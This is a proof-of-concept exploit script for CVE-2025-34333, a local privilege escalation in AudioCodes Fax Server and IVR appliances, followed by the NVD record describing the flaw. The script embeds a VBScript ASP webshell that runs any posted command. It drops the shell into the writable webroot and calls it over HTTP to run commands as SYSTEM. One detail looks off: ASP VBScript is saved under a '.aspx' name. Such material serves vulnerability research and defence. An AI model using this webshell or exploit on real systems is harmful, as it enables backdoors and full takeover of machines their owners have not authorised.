CVE-2025-34333

# CVE-2025-34333 AudioCodes Fax Server LPE PoC # Requirements: Local authentication on target system import os import requests import sys TARGET_IP = "192.168.1.100" WEB_ROOT = "C:\\F2MAdmin\\F2E" # Create malicious ASP webshell webshell_content = '''<%@ Language=VBScript %> <% Dim cmd cmd = Request.Form("cmd") If cmd <> "" Then Dim oShell Set oShell = CreateObject("WScript.Shell") Dim oExec Set oExec = oShell.Exec(cmd) Dim output output = oExec.StdOut.ReadAll() Response.Write(output) End If %> ''' def exploit(): print("[*] CVE-2025-34333 AudioCodes Fax Server LPE") print("[*] Target: " + TARGET_IP) # Step 1: Write webshell to webroot webshell_path = os.path.join(WEB_ROOT, "cmd.aspx") with open(webshell_path, 'w') as f: f.write(webshell_content) print("[+] Webshell written to: " + webshell_path) # Step 2: Trigger webshell via HTTP webshell_url = f"http://{TARGET_IP}/cmd.aspx" try: # Execute whoami command data = {"cmd": "whoami"} response = requests.post(webshell_url, data=data, timeout=10) print("[+] Response from server:") print(response.text) except requests.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-34333", "sourceIdentifier": "[email protected]", "published": "2025-11-19T17:15:48.500", "lastModified": "2025-12-11T21:18:46.983", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "AudioCodes Fax Server and Auto-Attendant IVR appliances versions up to and including 2.6.23 configure the web document root at C:\\\\F2MAdmin\\\\F2E with overly permissive file system permissions. Authenticated local users have modify rights on this directory, while the associated web server process runs as NT AUTHORITY\\\\SYSTEM. As a result, any local user can create or alter server-side scripts within the webroot and then trigger them via HTTP requests, causing arbitrary code to execute with SYSTEM privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:fax_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "A325B684-937A-4AE9-A8B2-235ADB2D1932"}, {"vulnerable": true, "criteria": "cpe:2.3:a:audiocodes:interactive_voice_response:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.6.23", "matchCriteriaId": "131420AA-FE49-42FC-A8EC-50C5EB40D3A3"}]}]}], "references": [{"url": "https://pierrekim.github.io/advisories/2025-audiocodes-fax-ivr.txt", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://pierrekim.github.io/blog/2025-11-20-audiocodes-fax-ivr-8-vulnerabilities.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.audiocodes.com/media/g1in2u2o/0548-product-notice-end-of-service-for-audiocodes-auto-attendant-ivr-solution.pdf", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/audiocodes-fax-ivr-appliance-world-writable-webroot-lpe", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}